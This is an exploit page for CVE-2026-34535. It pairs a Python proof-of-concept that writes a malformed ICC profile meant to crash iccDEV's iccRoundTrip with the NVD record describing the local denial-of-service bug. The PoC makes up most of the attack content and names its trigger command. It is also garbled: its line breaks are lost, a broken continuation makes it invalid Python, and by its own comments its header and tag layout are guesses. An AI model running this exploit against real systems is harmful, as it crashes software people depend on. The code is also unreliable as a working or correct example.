CVE-2026-34535

# PoC for CVE-2026-34535 (iccDEV Segmentation Fault) # This script generates a crafted ICC profile intended to trigger the SEGV. import struct def create_malformed_icc(filename): # ICC Header (simplified) header = b"\x00\x00\x00\x00" + \ b"acsp" + \ b"\x00\x00\x00\x00" + \ struct.pack(">I", 0x2100000) + # Profile version b"\x00\x00\x00\x00" * 4 # Tag Table Entry causing misalignment in CIccTagArray::Cleanup # The specific offset/size needs to force misaligned access. # Assuming a crafted tag table that points to invalid/misaligned data. tag_count = 1 tag_table = struct.pack(">I", tag_count) # Tag signature, offset, size # Offset 0x100 (arbitrary), size might trigger the bug tag_table += b"malc" + struct.pack(">II", 0x100, 4) # Malicious data section data = b"\x41" * 0x20 with open(filename, "wb") as f: f.write(header + tag_table + data) print(f"Malformed ICC profile saved to {filename}") print("Trigger: iccRoundTrip " + filename) if __name__ == "__main__": create_malformed_icc("poc_cve_2026_34535.icc")

{"cve": {"id": "CVE-2026-34535", "sourceIdentifier": "[email protected]", "published": "2026-03-31T22:16:20.960", "lastModified": "2026-04-20T13:50:16.590", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "iccDEV provides a set of libraries and tools for working with ICC color management profiles. Prior to version 2.3.1.6, a crafted ICC profile can trigger a segmentation fault (SEGV) in CIccTagArray::Cleanup(). The issue is observable under UBSan/ASan as misaligned member access / misaligned pointer loads followed by an invalid read leading to process crash when running iccRoundTrip on a malicious profile. This issue has been patched in version 2.3.1.6."}, {"lang": "es", "value": "iccDEV proporciona un conjunto de bibliotecas y herramientas para trabajar con perfiles de gestión de color ICC. Antes de la versión 2.3.1.6, un perfil ICC manipulado puede desencadenar un fallo de segmentación (SEGV) en CIccTagArray::Cleanup(). El problema es observable bajo UBSan/ASan como acceso a miembro desalineado / cargas de puntero desalineadas, seguido de una lectura inválida que lleva a un fallo del proceso al ejecutar iccRoundTrip en un perfil malicioso. Este problema ha sido parcheado en la versión 2.3.1.6."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:color:iccdev:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.3.1.6", "matchCriteriaId": "DE133F29-9592-4669-8B76-9F7C88EFE17D"}]}]}], "references": [{"url": "https://github.com/InternationalColorConsortium/iccDEV/issues/666", "source": "[email protected]", "tags": ["Issue Tracking", "Exploit"]}, {"url": "https://github.com/InternationalColorConsortium/iccDEV/pull/683", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/InternationalColorConsortium/iccDEV/security/advisories/GHSA-965q-9pp6-6vw5", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}, {"url": "https://github.com/InternationalColorConsortium/iccDEV/issues/666", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Issue Tracking", "Exploit"]}]}}